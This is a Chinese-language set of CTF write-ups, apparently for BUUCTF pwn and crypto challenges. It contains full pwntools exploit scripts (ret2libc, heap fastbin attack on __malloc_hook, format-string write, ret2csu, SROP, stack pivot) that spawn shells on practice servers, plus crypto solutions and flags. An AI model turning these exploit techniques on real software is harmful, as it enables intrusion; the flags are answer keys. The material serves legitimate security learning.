context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./2018_rop")
p = Remote("node4.buuoj.cn:25187")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF("./2018_rop")
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = b"a" * 0x88 + b"b" * 4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)

sl(payload)
read_addr = u32(p.recv())
lib = LibcSearcher("read", read_addr)
libc_base = read_addr - lib.dump("read")
system_addr = libc_base + lib.dump("system")
str_bin_sh = libc_base + lib.dump("str_bin_sh")

payload = b"a" * 0x88 + b"b" * 4 + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)

sl(payload)

ia()

bjdctf_2020_babyrop

64位, NX 但没有PIE, Canary,

➜  bjdctf_2020_babyrop checksec bjdctf_2020_babyrop
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/bjdctf_2020_babyrop/bjdctf_2020_babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

vuln函数存在栈溢出

ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}

栈溢出泄露libc基址从而getshell

EXP

from pwn import *
from LibcSearcher import *
context.arch = "amd64"
context.os = "linux"
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./bjdctf_2020_babyrop")
p = Remote("node4.buuoj.cn:29960")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF("./bjdctf_2020_babyrop")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

log.success(f"puts_got => {hex(puts_got)}")

pop_rdi_addr = 0x0000000000400733

payload = b"A" * 32 + b"B" * 8
payload += p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sla("Pull up your sword and tell me u story!", payload)
ru("\n")
puts_addr = u64(rv(6).ljust(8, b"\x00"))
log.success(f"puts_addr => {hex(puts_addr)}")

lib = LibcSearcher("puts", puts_addr)
lib_base = puts_addr - lib.dump('puts')
system_addr = lib_base + lib.dump('system')
str_bin_sh = lib_base + lib.dump('str_bin_sh')

log.success(f"system_addr => {hex(system_addr)}")
log.success(f"str_bin_sh => {hex(str_bin_sh)}")

payload = b"A" * 32 + b"B" * 8 + p64(pop_rdi_addr) + p64(str_bin_sh) + p64(system_addr)
sla("Pull up your sword and tell me u story!", payload)

ia()

babyheap_0ctf_2017

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
Node *Nodes; // [rsp+8h] [rbp-8h]

Nodes = (Node *)Init();
while ( 1 )
{
Menu();
switch ( read_int() )
{
case 1LL:
Allocate(Nodes);
break;
case 2LL:
Fill(Nodes);
break;
case 3LL:
Free(Nodes);
break;
case 4LL:
Dump(Nodes);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
  • 其中Fill函数存在问题,size可以自己设定
  • 需要注意的是Allocate函数使用calloc函数, 分配内存后会把数据区域全部置零

攻击思路: 伪造堆块送入unsorted bin, 其首个free掉的chunk会指向main_arena + 0x58的固定地址,而从而泄露main_arena, 从而泄露libc基址

EXP

from pwn import *
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p

p = process("./babyheap_0ctf_2017")
p = Remote("node4.buuoj.cn:25195")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

def Allocate(size):
ru("Command: ")
sl(str(1))
ru("Size: ")
sl(str(size))

def Fill(idx, content):
ru("Command: ")
sl(str(2))
ru("Index:")
sl(str(idx))
ru("Size: ")
sl(str(len(content)))
ru("Content: ")
sl(content)

def Free(idx):
ru("Command: ")
sl(str(3))
ru("Index:")
sl(str(idx))

def Dump(idx):
ru("Command: ")
sl(str(4))
ru("Index:")
sl(str(idx))
ru("Content: ")

def Exit():
ru("Command: ")
sl(str(5))


# gdb.attach(p, "b *$rebase(0x000000000000113D)")

Allocate(0x60) # 0
Allocate(0x40) # 1
Allocate(0x100) # 2
Fill(0, 0x60 * b"A" + p64(0) + p64(0x71)) # chunk1.size <<= 0x71
Fill(2, 0x10 * b"B" + p64(0) + p64(0x71)) # pass check

Free(1) # free chunk1 to fastbin
Allocate(0x60) # 1

Fill(1, 0x40 * b"C" + p64(0) + p64(0x111))
Allocate(0x100)
Free(2)
Dump(1)

main_arena = u64(ru('\x7f')[-6:].ljust(8, b"\x00")) - 88
log.success(f"main_arena => {hex(main_arena)}")
lib = ELF("./libc-2.23.so")
offset = 0x3c4b20
lib.address = main_arena - offset
log.success(f"lib_address => {hex(lib.address)}")
malloc_hook_addr = lib.symbols["__malloc_hook"]
log.success(f"malloc_hook_addr => {hex(malloc_hook_addr)}")
fake_chunk = malloc_hook_addr - 0x23

Free(1)
Fill(0, b"A" * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk) + p64(0))
Allocate(0x60)
Allocate(0x60)

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
Fill(2, b"A" * 3 + p64(0) + p64(0) + p64(lib.address + one_gadgets[1]))
Allocate(0x100)
ia()

bjdctf_2020_babystack2

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

主函数

image-20211105163410067

  • nbytes为size_t类型,但与10对比时类型转换为了int,那么我们可以输入负数使得可以过检测,且下方read溢出

溢出到后面函数即可

image-20211105163634607

EXP

from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./bjdctf_2020_babystack2")
p = Remote("node4.buuoj.cn:29567")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

ru("[+]Please input the length of your name:")
sl(str(-1))
backdoor = 0x0000000000400726
payload = b"A" * 16 + b"B" * 8 + p64(backdoor)
ru("[+]What's u name?")
sd(payload)
ia()

jarvisoj_fm

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf); // 格式化字符串漏洞
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

简单的格式化字符串漏洞,思路有很多,这里由于没有开启pie,所以可以将x处的值写成4

➜  jarvisoj_fm ./fm
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0xffb5db9c-0x50-0xf7ee35ec-0xf7f2a942-0xf7fc7c30-(nil)-0xffb5dc94-(nil)-(nil)-0x2f-0x61616161-0x2d70252d-0x252d7025-0x70252d70
3!

可以看到我们输入的参数在第11个

EXP

from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./fm")
p = Remote("node4.buuoj.cn:27208")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

x = 0x804A02C
payload = p32(x) + b"%11$n"
sd(payload)
ia()

pwn2_sctf_2016

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞函数

void __cdecl vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
unsigned int a2; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
get_n(nptr, 4u);
a2 = atoi(nptr);
if ( (int)a2 <= 32 )
{
printf("Ok, sounds good. Give me %u bytes of data!\n", a2);
get_n(nptr, a2);
printf("You said: %s\n", nptr);
}
else
{
printf("No! That size (%d) is too large!\n", a2);
}
}

atoi函数会返回一个unsigned int值,但v2为int类型,因此输入负数也可以过v2 > 32的检查,那么就会导致下面get_n栈溢出

➜  pwn2_sctf_2016 ./pwn2_sctf_2016 
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

那么就可以通过栈溢出来泄露libc版本和地址,来算出system/bin/sh的地址

EXP

from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./pwn2_sctf_2016")
p = Remote("node4.buuoj.cn:27713")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

ru("How many bytes do you want me to read?")
sl(str(-1))
ru("Ok, sounds good. Give me 4294967295 bytes of data!")

elf = ELF("./pwn2_sctf_2016")
lib = ELF("./libc-2.23.so")

printf_plt = elf.plt['printf']
formatstr_addr = next(elf.search(b"%s"))
printf_got = elf.got['printf']
main_addr = elf.sym['main']
payload = b"A" * 0x2C + b"B" * 4 + p32(printf_plt) + p32(main_addr) + p32(formatstr_addr) + p32(printf_got)
p.sendline(payload)
ru("You said: ")

printf_addr = u32(ru("\xf7")[-4:])
log.success(f"printf_addr => {hex(printf_addr)}")
lib.address = printf_addr - lib.symbols['printf']
log.success(f"lib.address => {hex(lib.address)}")
system_addr = lib.symbols['system']
str_bin_sh = next(lib.search(b"/bin/sh"))
payload = b"A" * 0x2C + b"B" * 4 + p32(system_addr) + p32(system_addr) + p32(str_bin_sh)

ru("How many bytes do you want me to read?")
sl(str(-1))
ru("Ok, sounds good. Give me 4294967295 bytes of data!")


sl(payload)
ia()

ciscn_s_3

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

vuln函数存在栈溢出

signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

gadgets函数

image-20211105173212597

本题存在两种思路

  • 思路1: 通过系统调用59对应的execve, 构造rop链执行execve("/bin/sh", 0, 0)
  • 思路2: 通过系统调用15对应的sys_rt_sigreturn, 借助sigreturn frame来执行system("/bin/sh")

EXP1

由于题目中没有给出/bin/sh, 所以我们需要先写到栈里,并算出来地址,通过调试可知

image-20211106164516627

0x7ffd310e25d0存放着一处栈地址, 且此处距离/bin/sh\x00的距离为0x00007ffd310e26c8 - 0x7ffd310e25b0 = 0x118, 这个偏移是固定的,则我们就获得了/bin/sh的地址。接着就可以用ret2csu构造攻击链

根据64位调用约定,我们还需要一个pop rdi

image-20211106165232884

from pwn import *
context.arch = "amd64"
context.os = "linux"
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./ciscn_s_3")
# p = Remote("node4.buuoj.cn:28906")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

vuln_addr = 0x00000000004004ED
payload = b"/bin/sh\x00" + b"A" * 8 + p64(vuln_addr)
sd(payload)

offset = 0x118
rv(32)
sh_addr = u64(rv(8)) - offset
log.success(f"sh_addr => {hex(sh_addr)}")
execv_addr = 0x00000000004004E2
syscall_ret = 0x0000000000400517
pop_rdi_ret = 0x00000000004005a3

payload = b"/bin/sh\x00".ljust(16, b"A")

def csu(rbx, rbp, r12, r13, r14, r15):
global payload
csu_front_addr = 0x0000000000400580
csu_end_addr = 0x000000000040059A
payload += p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)

csu(0, 0, sh_addr + 0x50, 0, 0, 0)
payload += p64(execv_addr)
payload += p64(pop_rdi_ret) + p64(sh_addr) + p64(syscall_ret)

sd(payload)

ia()

EXP2

from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./ciscn_s_3")
# p = Remote()
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

sigreturn = 0x0000000004004DA
vuln_addr = 0x00000000004004F1
system_ret = 0x0000000000400517
payload = b"/bin/sh\x00" + b"A" * 0x8 + p64(vuln_addr)
sd(payload)
rv(32)
sh_addr = u64(rv(8)) - 0x118
rv(8)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = system_call

payload = b"A" * 0x10 + p64(sigreturn) + p64(system_ret) + bytes(sigframe)
sd(payload)
ia()

[HarekazeCTF2019]baby_rop2

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数中存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}

溢出泄露__libc_start_main 的地址,从而算出libc的基地址,因为 printf需要%s, 所以我们需要pop rdipop rsi

EXP

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./babyrop2")
p = Remote("node4.buuoj.cn:29412")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = p.recvline
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

pop_rdi_ret = 0x0000000000400733
pop_rsi_r15_ret = 0x0000000000400731
format_str = 0x0000000000400790
elf = ELF("./babyrop2")
main_addr = elf.sym['main']
printf_plt = elf.plt['printf']
libc_start_main_addr = elf.got['__libc_start_main']
lib = ELF("./libc.so.6")
# Debug(p, """
# b *0x00000000004006CB
# """)
payload = b"A" * 0x20 + b"B" * 0x8 + p64(pop_rdi_ret) + p64(format_str) + p64(pop_rsi_r15_ret) + p64(libc_start_main_addr) + p64(0) + p64(printf_plt) + p64(main_addr)
ru("What's your name? ")
sl(payload)

__libc_start_main_addr = u64(ru("\x7f")[-6:].ljust(8, b"\x00"))
lib.address = __libc_start_main_addr - lib.symbols['__libc_start_main']
log.success(f"lib.address => {hex(lib.address)}")

system_addr = lib.symbols['system']
str_bin_sh = next(lib.search(b"/bin/sh"))

payload = b"A" * 0x20 + b"B" * 0x8 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr)
sl(payload)

ia()

jarvisoj_level3

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

存在栈溢出漏洞,通过泄露地址从而算出libc基址,从而getshell

EXP

from os import sendfile
from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./level3")
p = Remote("node4.buuoj.cn:25522")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = p.recvline
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive

elf = ELF("./level3")
__libc_start_main = elf.got['__libc_start_main']
write_plt = elf.plt['write']
vulnerable_function = elf.symbols['vulnerable_function']
main_addr = elf.sym['main']

# Debug(p, """
# b *0x08048483
# """)
ru("Input:\n")
payload = b"A" * 0x88 + b"B" * 4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(__libc_start_main) + p32(4) + p32(vulnerable_function)
sd(payload)

__libc_start_main_addr = u32(rv(4))

lib = ELF("./libc-2.23_32.so")
lib.address = __libc_start_main_addr - lib.symbols['__libc_start_main']
log.success(f"lib.address => {hex(lib.address)}")
log.success(f"lib.address => {hex(lib.address)}")

system_addr = lib.symbols['system']
str_bin_sh = next(lib.search(b"/bin/sh"))

payload = b"A" * 0x88 + b"B" * 4 + p32(system_addr) + p32(0) + p32(str_bin_sh)
sd(payload)


ia()

ciscn_2019_es_2

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

vul():

int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u); // stack overflow
printf("Hello, %s\n", s);
read(0, s, 48u); // stack overflow
return printf("Hello, %s\n", s);
}

存在栈溢出,但溢出大小有限,只能溢出4个字节,但刚好可以覆盖到espreturn address

hack():

int hack()
{
return system("echo flag");
}

存在system函数,echo flag是真的只输出flag这四个字符

综上考虑,考虑迁栈,即返回到system时,栈上数据为传入参数/bin/sh

那么我们首先要把栈地址弄出来,题目正好有两个输入两个输出

EXP

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p

p = process("./ciscn_2019_es_2")
p = Remote("node4.buuoj.cn:28710")
rv =lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = p.recvline
sd = lambda x: p.send(x)
sa = lambda x: p.sendafter(x)
sl = lambda x: p.sendline(x)
sla = lambda x: p.sendlineafter(x)
ia = p.interactive
elf = ELF("./ciscn_2019_es_2")

payload = b"A" * (40 - 4) + b"BBBB"
ru("Welcome, my friend. What's your name?")
sd(payload)
print(payload)
ru("BBBB")
esp = u32(rv(4))
log.info("esp: %x" % esp)
system_plt = elf.plt['system']
leave_ret_addr = 0x080485FD
payload = b"A" * 4
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(esp - 0x38+0x10) + b"/bin/sh"
payload = payload.ljust(0x28, b"\x00")
payload += p32(esp - 0x38)
payload += p32(leave_ret_addr)
sd(payload)
ia()

Crypto

MD5

https://www.cmd5.com/ 直接查得admin1

则flag为flag{admin1}

Url编码

https://tool.oschina.net/encode?type=4 解得 flag{and 1=1}

一眼就解密

base64 解得 flag{THE_FLAG_OF_THIS_STRING}

看我回旋踢

简单的移位密码, ROT13, 解得flag flag{5cd1004d-86a5-46d8-b720-beb5ba0417e1}

变异凯撒

观察知前四位分别与flag相差5,6,7,8

则有

s = b"afZ_r9VYfScOeO_UL^RWUc"
s = bytearray(s)
j = 5
for i in range(len(s)):
s[i] += j
j += 1
print(s)

得flagflag{Caesar_variation}

Quoted-printable

http://web.chacuo.net/charsetquotedprintableflag{那你也很棒哦}

password

UTF-8 编码, 脑洞猜flag: flag{zs19900315}

rsarsa

import gmpy2
from Crypto.Util.number import long_to_bytes
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p * q
m = pow(c, d, n)
print(m)

得flag flag{5577446633554466577768879988}

Rabbit

用Rabbit解密得flagflag{Cute_Rabbit}

RSA

import gmpy2
p = 473398607161
q = 4511491
e = 17
d = gmpy2.invert(e, (p - 1) * (q - 1))
print(d)

得flag: flag{125631357777427553}

Windows系统密码

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::

linux的passwd文件,用https://www.cmd5.com/解密得good-luck, 则flag: flag{good-luck}

Alice与Bob

http://factordb.com/index.php?query=98554799767 查得两个素数为101999966233, 则

import hashlib
s = "101999" + "966233"
print(hashlib.md5(s).hexdigest())

得flag: flag{d450209323a847c8d01c6be47c81811a}

篱笆墙的影子

栅栏密码, 加密向量为2, 得到flagflag{wethinkwehavetheflag}

老文盲了

罼雧締眔擴灝淛匶襫黼瀬鎶軄鶛驕鳓哵眔鞹鰝

秀上天际, 生僻字谐音, flag为BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

大帝的密码武器

凯撒密码, FRPHEVGL通过加密向量13解出SECURITY

则flag为flag{PbzrPuvan}